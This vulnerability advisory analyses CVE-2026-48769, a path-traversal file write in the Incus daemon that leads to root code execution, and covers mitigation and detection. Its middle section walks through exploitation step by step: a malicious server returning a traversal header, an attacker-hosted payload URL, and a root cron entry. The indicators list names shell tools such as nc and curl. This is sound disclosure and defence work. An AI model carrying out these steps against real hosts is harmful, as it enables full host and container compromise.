CVE-2026-48769: 
Linux Debian vulnerability analysis and mitigation

CVE-2026-48769 is a critical arbitrary file write vulnerability in the Incus container management daemon (incusd) that allows an authenticated attacker to achieve arbitrary command execution as root on the host server. The flaw exists in the source.type=url image download path, where the Incus-Image-Hash response header from a malicious image server is trusted without validation and used unsanitized to construct a file path. All versions of github.com/lxc/incus/v7/cmd/incusd prior to 7.2.0 are affected. The vulnerability was published on June 25–26, 2026, and carries a CVSS v3.1 base score of 9.9 (Critical) (GitHub Advisory, Incus Advisory).

The root cause is improper input validation (CWE-20) of the Incus-Image-Hash HTTP response header. When source.type=url is used, cmd/incusd/images.go (lines 611–684) issues a HEAD request to a user-supplied URL and passes the returned Incus-Image-Hash value directly as the Alias (fingerprint) parameter to imageDownload(). The function then constructs a destination path via destName := filepath.Join(destDir, fp) (line 333–335) without sanitizing path traversal sequences (e.g., ../../../../etc/cron.d/). The file is created and populated with the HTTP response body via os.Create() before SHA-256 validation occurs (lines 528–532), meaning an attacker can write arbitrary content to any path writable by the daemon. Holding the HTTP response open extends the window during which the malicious file persists on disk. A public PoC Python script demonstrating cron-based RCE is included in the advisory (GitHub Advisory, Incus Advisory).

Successful exploitation grants an attacker arbitrary file write with root privileges on the Incus host, which can be trivially escalated to full root code execution — for example, by writing a cron job to /etc/cron.d/. This results in complete compromise of confidentiality, integrity, and availability of the host system. Because Incus manages containers, a compromised host daemon can also affect all hosted containers, enabling lateral movement across the entire container infrastructure (GitHub Advisory).

A public proof-of-concept Python script is included in the official security advisory, demonstrating end-to-end exploitation via a malicious HTTP image server that returns a path-traversal Incus-Image-Hash header and streams a cron payload. Exploitation requires only low privileges (the ability to trigger a POST /1.0/images request with source.type=url). No user interaction is needed. There is no current evidence of in-the-wild exploitation or threat actor attribution. The CVE status is listed as "Reserved" and no EPSS score or CISA KEV listing has been reported at this time (GitHub Advisory, Incus Advisory).

1. Set up a malicious HTTP server: Deploy a Python HTTP server (as provided in the PoC) that listens for HEAD and GET requests. On HEAD /stage, respond with Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce and Incus-Image-URL: http://<attacker>/payload.
2. Craft the cron payload: Prepare the HTTP GET /payload response body as a valid cron entry, e.g., * * * * * root /bin/sh -c 'id > /tmp/pwned'.
3. Trigger image download: As a low-privileged authenticated user, send a POST request to the Incus API: POST /1.0/images with body {"source": {"type": "url", "url": "http://<attacker>/stage"}}.
4. Path traversal file write: The Incus daemon HEADs the attacker URL, reads the crafted Incus-Image-Hash header, constructs destName = /var/lib/incus/images/../../../../etc/cron.d/incus-direct-image-url-rce, opens the file with os.Create(), and streams the cron payload into it.
5. Hold the response open: The attacker's server delays closing the GET response (e.g., 90 seconds) to keep the cron file on disk past any cleanup logic.
6. Achieve root code execution: The cron daemon executes the written job as root within one minute, completing the RCE chain (GitHub Advisory, Incus Advisory).

• Network: Outbound HTTP connections from the Incus daemon (incusd) to unexpected external hosts, particularly during image import operations; HEAD and GET requests to attacker-controlled servers with paths like /stage and /payload.
• File System: Unexpected files in /etc/cron.d/ with names such as incus-direct-image-url-rce; new or modified files outside /var/lib/incus/images/ created by the incusd process; cron files containing commands referencing /bin/sh -c.
• Logs: Incus daemon logs showing POST /1.0/images requests with source.type=url pointing to non-standard or external URLs; file creation events (via auditd or inotify) in /etc/cron.d/ by the incusd process.
• Process: Unexpected child processes spawned by incusd or cron (e.g., sh, curl, wget, python3, nc) executing commands not associated with normal container operations (GitHub Advisory).

Upgrade Incus to version 7.2.0 or later, which validates image fingerprints before writing files to disk, preventing path traversal via the Incus-Image-Hash header (GitHub Advisory). For the canonical LXD fork, the fix was backported to the stable-5.0 branch via pull request #18594, which adds validateImageFingerprint and uses os.Root for safe image downloads (LXD PR #18594). As a workaround where upgrading is not immediately possible, restrict access to the POST /1.0/images API endpoint to trusted administrators only, and block outbound HTTP/HTTPS connections from the Incus daemon to untrusted external hosts using firewall rules.

The vulnerability was reported by researcher antifob and remediated by Incus maintainer stgraber, who published the advisory and released the patched version 7.2.0 on June 29, 2026 (Incus Advisory). Tenable released multiple Nessus detection plugins (IDs 323053, 323335, 323596) and cloud security checks shortly after disclosure, indicating rapid uptake in the vulnerability management community. Security news outlet SecurityOnline.info covered the vulnerability, and Linux distribution security teams (Debian) issued updates for affected packages (Feedly).